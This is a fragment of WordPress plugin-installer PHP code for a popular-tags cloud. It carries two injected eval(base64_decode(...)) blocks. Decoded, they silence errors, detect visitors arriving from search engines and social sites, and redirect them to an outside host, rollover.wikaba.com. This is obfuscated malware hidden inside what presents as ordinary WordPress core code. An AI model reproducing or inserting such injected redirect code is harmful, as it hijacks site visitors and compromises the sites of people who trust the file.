eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc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yZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('You may also browse based on the most popular tags in the Plugin Directory:'); ?> </p> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); $api_tags = install_popular_tags(); //Set up the tags in a way which can be interprated by wp_generate_tag_cloud() $tags = array(); foreach ((array) $api_tags as $tag) { $tags[$tag['name']] = (object) array('link' => esc_url(admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name']))), 'name' => $tag['name'], 'id' => sanitize_title_with_dashes($tag['name']), 'count' => $tag['count']); } echo '<p class="popular-tags">'; echo wp_generate_tag_cloud($tags, array('single_text' => __('%d plugin'), 'multiple_text' => __('%d plugins'))); echo '</p><br class="clear" />'; }